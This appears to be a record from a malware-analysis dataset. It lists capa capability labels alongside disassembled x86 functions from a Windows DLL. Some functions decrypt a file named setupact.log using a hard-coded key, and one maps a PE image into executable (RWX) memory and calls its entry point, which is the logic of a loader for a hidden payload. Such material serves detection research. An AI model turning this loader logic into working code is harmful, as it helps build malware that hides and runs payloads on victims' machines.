joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001150
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x1026aeb0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x5c
pop eax
push 0x73
mov word [ebp - 0x23c], ax
pop eax
push 0x65
mov word [ebp - 0x23a], ax
pop eax
push 0x74
mov word [ebp - 0x238], ax
pop eax
push 0x75
mov word [ebp - 0x236], ax
pop eax
push 0x70
mov word [ebp - 0x234], ax
pop eax
push 0x61
mov word [ebp - 0x232], ax
pop eax
push 0x63
mov word [ebp - 0x230], ax
pop eax
push 0x74
mov word [ebp - 0x22e], ax
pop eax
push 0x2e
mov word [ebp - 0x22c], ax
pop eax
push 0x6c
mov word [ebp - 0x22a], ax
pop eax
push 0x6f
mov word [ebp - 0x228], ax
pop eax
push 0x67
mov word [ebp - 0x226], ax
pop eax
mov word [ebp - 0x224], ax
xor eax, eax
mov word [ebp - 0x222], ax
push 0x104
lea eax, [ebp - 0x21c]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x21c]
push 0x5c
push eax
call fcn.1019f44b
pop ecx
pop ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x23c]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10001221
push esi
push edi
lea edi, [ebp - 0x21c]
sub eax, edx
sub edi, 2
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x10001239
mov ecx, eax
shr ecx, 2
push ebx
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x80
push 3
push ebx
push ebx
mov ecx, eax
push SysReAllocString
lea eax, [ebp - 0x21c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push eax
mov dword [0x1026c3cc], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push ebx
mov dword [0x1026c3c4], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x1026c3c0
push dword [0x1026c3c4]
mov dword [0x1026c3c8], eax
push eax
push dword [0x1026c3cc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [0x1026c3cc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x21c]
push eax
mov dword [ebp - 0x220], ebx
call fcn.100010d7
pop ecx
pop ecx
pop edi
pop esi
cmp dword [ebp - 0x220], ebx
je 0x10001322
cmp eax, ebx
jbe 0x10001322
lea ecx, [ebp - 0x240]
push ecx
push eax
push dword [0x1026c3c8]
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x64575072
mov dword [ebp - 0x10], 0x4d397333
mov dword [ebp - 0xc], 0x3671334c
mov byte [ebp - 8], bl
call fcn.1000100a
push dword [ebp - 0x220]
call fcn.100034a4
add esp, 0x14
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1019f4fa
leave
ret
Function at 0x100015e9
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0x40
jae 0x100015f9
xor eax, eax
jmp 0x1000167e
mov eax, dword [ebp + 8]
mov edx, 0x5a4d
mov dword [ecx + 0xc], eax
cmp word [eax], dx
jne 0x100015f2
mov edx, dword [eax + 0x3c]
push esi
lea esi, [edx + 0xf8]
cmp dword [ebp + 0xc], esi
jb 0x10001641
add eax, edx
mov dword [ecx + 0x10], eax
cmp dword [eax], 0x4550
jne 0x10001641
movzx edx, word [eax + 0x16]
test edx, 0x2000
je 0x10001641
test dl, 2
je 0x10001641
mov edx, 0xe0
cmp word [eax + 0x14], dx
je 0x10001645
xor eax, eax
jmp 0x1000167d
mov edx, dword [ecx + 0x10]
add eax, 0xf8
push edi
xor edi, edi
mov dword [ecx + 0x14], eax
xor esi, esi
cmp di, word [edx + 6]
jae 0x10001679
xor edx, edx
mov edi, dword [edx + eax + 0x14]
add edi, dword [edx + eax + 0x10]
cmp edi, dword [ebp + 0xc]
ja 0x10001682
mov edi, dword [ecx + 0x10]
movzx edi, word [edi + 6]
inc esi
add edx, 0x28
cmp esi, edi
jl 0x1000165d
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
ret 8
xor eax, eax
jmp 0x1000167c

Function at 0x100017af
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 8], ebx
je 0x100017c4
xor eax, eax
jmp 0x1000188b
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100015e9
test eax, eax
je 0x100017bd
call fcn.1000169d
mov dword [ebp + 0xc], eax
cmp eax, ebx
je 0x100017bd
push edi
push 0x40
push 0x3000
push eax
push ebx
mov dword [esi + 0x18], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, ebx
je 0x1000187e
push dword [ebp + 8]
mov ecx, esi
push edi
call fcn.1000170b
mov eax, dword [esi + 0x10]
cmp dword [eax + 0xa0], ebx
jbe 0x10001822
cmp dword [eax + 0xa4], ebx
jbe 0x10001822
push edi
mov ecx, esi
call fcn.10001417
push edi
mov ecx, esi
call fcn.1000148b
test eax, eax
jne 0x1000183d
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1000187e
lea eax, [ebp + 8]
push eax
push 0x40
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x10]
mov dword [eax + 0x34], edi
mov eax, dword [esi + 0x10]
mov eax, dword [eax + 0x28]
push ebx
push 1
add eax, edi
push edi
mov dword [esi + 4], eax
call eax
test eax, eax
jne 0x10001882
push ebx
push ebx
push edi
call dword [esi + 4]
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esi + 4], ebx
xor eax, eax
jmp 0x1000188a
xor eax, eax
inc eax
mov dword [esi], eax
mov dword [esi + 8], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x10002001
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x1026aeb0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1026c4a0], 0
push esi
mov esi, dword [ebp + 8]
jne 0x10002032
call fcn.10001f7d
test eax, eax
jne 0x10002032
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
push dword [0x1026c4a0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10002091
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov eax, esi
shr eax, 0x10
test ax, ax
jne 0x10002065
push esi
lea eax, [ebp - 0x14]
push 0x101ef538
push eax
call edi
add esp, 0xc
lea esi, [ebp - 0x14]
push esi
lea eax, [ebp - 0x118]
push 0x101ef510
push eax
call edi
add esp, 0xc
push 0x10
push str.LKxx
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xfffffffffffffffe
jmp 0x1000202c
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1019f4fa
leave
ret 4

Function at 0x1000c01c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.100163b7
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x1000c055
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.1000bc5e
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x1000c0b3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x1000c0d7
cmp dword [edi + 0x74], 0
jne 0x1000c0d7
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.100163b7
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.1000c074
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x1000d274
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x1000d2bc
call fcn.100163b7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x1000d2bc
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x1000d2ff
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x1000d2e8
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x1000d2e8
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x1000d2fc
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x1001559a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x100155e1
call fcn.100163b7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x100155e1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x100155fd
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.1001509f
mov esi, eax
test edi, edi
je 0x100155fb
test ebx, ebx
je 0x100155fb
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10017a1f
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x101cf912
call fcn.101a03fb
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x10017a44
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x10017a96
call fcn.10007c4b
push eax
lea ecx, [ebp - 0x10]
call fcn.10001ba4
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.101a47f7
push eax
call fcn.10003821
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.100019f2
mov eax, esi
call fcn.101a04d3
ret 8
Function at 0x10018ef2
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.100182f1
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x10018f3c
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.1000b45d
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.10006a36
jmp 0x10018f47
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.1001a33a
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x10019045
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.10016f74
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x10019082
call fcn.100182f1
mov dword [esi + 0xc], 1
jmp 0x10019087
call fcn.100182f1
cmp dword [esi], 0
je 0x100190d0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jle 0x100190a8
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.1000b45d
jmp 0x100190ba
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.10001c50
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.10006a36
jmp 0x100190f4
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x100190f4
push dword [esi]
push dword [ebp + 8]
call fcn.1001a33a
pop esi
pop ebp
ret 0xc

Function at 0x10024ed2
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x10024f10
push 0x101f3448
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10024f1e
push str.MoveFileTransactedA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10024f1e
push dword [esi]
push 2
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x10024f20
cmp dword [esi + 4], 0
je 0x10024f1e
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_MoveFileA]
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x1004e4fd
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x101d2f2f
call fcn.101a03fb
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.10003115
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x1004e55f
call fcn.100157b6
cmp eax, 1
jne 0x1004e55f
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.1000711d
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.10004704
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.100019f2
mov dword [ebp + 8], SysStringLen
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.100019f2
mov eax, esi
call fcn.101a04d3
ret 0x10

Function at 0x1004e588
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x101d2f5a
call fcn.101a03fb
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.10003115
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x1004e5ea
call fcn.100157b6
cmp eax, 1
jne 0x1004e5ea
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.1000711d
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.10004704
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.100019f2
mov dword [ebp + 8], SysStringLen
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.100019f2
mov eax, esi
call fcn.101a04d3
ret 0x14

Function at 0x1004e616
Capabilities:
Delete registry key

Disassembly:
push 0
mov eax, 0x101d2f85
call fcn.101a03fb
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.10003115
mov esi, dword [ebp + 8]
and dword [ebp - 4], 0
cmp esi, 0x80000000
jne 0x1004e678
call fcn.100157b6
cmp eax, 1
jne 0x1004e678
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.1000711d
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.10004704
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.100019f2
inc esi
mov ecx, dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
test ecx, ecx
je 0x1004e68a
call fcn.10006de7
jmp 0x1004e690
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.100019f2
mov eax, esi
call fcn.101a04d3
ret 0xc

Function at 0x1004f67e
Capabilities:
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x1004f6b6
push 0x101f3448
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x1004f6c4
push str.SetFileAttributesTransactedA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1004f6c4
push dword [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x1004f6c6
cmp dword [esi + 4], 0
je 0x1004f6c4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x10089083
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.10144671
call fcn.10015d06
cmp dword [eax + 0x14], 0
jne 0x100890a0
mov ecx, esi
pop esi
jmp fcn.10088b60
pop esi
ret

Function at 0x1008f45f
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.1000ec4d
call fcn.10015d06
cmp dword [eax + 0x14], 0
jne 0x1008f47c
mov ecx, esi
pop esi
jmp fcn.1008ee0f
pop esi
ret

Function at 0x100a4c90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x100a4caa
call fcn.100163b7
mov esi, dword [eax + 0xc]
push dword [0x1026fed8]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x100a4cc8
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x100a4cc0
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x100a4cf5
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x100a4cc2
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.100a4bbe
mov esi, eax
jmp 0x100a4ce7

Function at 0x10152e54
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x10152e6c
mov edi, dword [esi + 0xc]
jmp 0x10152eac
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x10152e85
call fcn.10009013
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x10152e9a
call fcn.10009013
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x10152eac
call fcn.10009013
call fcn.100163b7
cmp dword [eax + 0x3c], 0
je 0x10152ec1
push edi
mov ecx, ebx
call fcn.101519c1
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.10152d6e
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x10152edf
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x10152eeb
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x10172b33
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
push esi
mov esi, ecx
jne 0x10172b45
xor eax, eax
jmp 0x10172bba
cmp dword [ebp + 0xc], 0
je 0x10172b41
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x10172b5e
call fcn.100163b7
mov eax, dword [eax + 0xc]
test eax, eax
je 0x10172b41
push edi
push dword [ebp + 0xc]
mov dword [esi + 8], eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x10172b86
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x10172b8a
xor eax, eax
jmp 0x10172bb9
push ebx
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x10172bb8
push dword [ebp + 0xc]
mov edi, dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
mov ecx, esi
call dword [edi + 4]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x10197eb6
Capabilities:
Create process on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x3c
push 0x3c
lea eax, [ebp - 0x3c]
push 0
push eax
call fcn.1019f480
mov eax, dword [ebp + 8]
and dword [ebp - 0x34], 0
and dword [ebp - 0x1c], 0
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x20], eax
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
leave
ret 0x14

Function at 0x1019f4fa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1026aeb0]
jne 0x1019f504
repz ret
jmp fcn.101a9b1e
Function at 0x101c30e7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1026aeb0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.101ae683
and dword [ebp - 0x14], 0
cmp dword [0x10272874], 0
mov dword [ebp - 0x18], eax
jne 0x101c319a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x101c3242
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x101c3242
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x10223e38
push ebx
mov dword [0x10272874], eax
call edi
push eax
call esi
push 0x10223e24
push ebx
mov dword [0x10272878], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1027287c], eax
call edi
push eax
call esi
mov dword [0x10272884], eax
test eax, eax
je 0x101c319a
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10272880], eax
mov eax, dword [0x10272880]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x101c31f3
cmp dword [0x10272884], ecx
je 0x101c31f3
push eax
call esi
push dword [0x10272884]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x101c31f3
test ebx, ebx
je 0x101c31f3
call edi
test eax, eax
je 0x101c31ea
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x101c31ea
test byte [ebp - 8], 1
jne 0x101c31f3
or dword [ebp + 0x10], 0x200000
jmp 0x101c3226
mov eax, dword [0x10272878]
cmp eax, dword [ebp - 0x18]
je 0x101c3226
push eax
call esi
test eax, eax
je 0x101c3226
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x101c3226
mov eax, dword [0x1027287c]
cmp eax, dword [ebp - 0x18]
je 0x101c3226
push eax
call esi
test eax, eax
je 0x101c3226
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10272874]
call esi
test eax, eax
je 0x101c3242
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x101c3244
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1019f4fa
leave
ret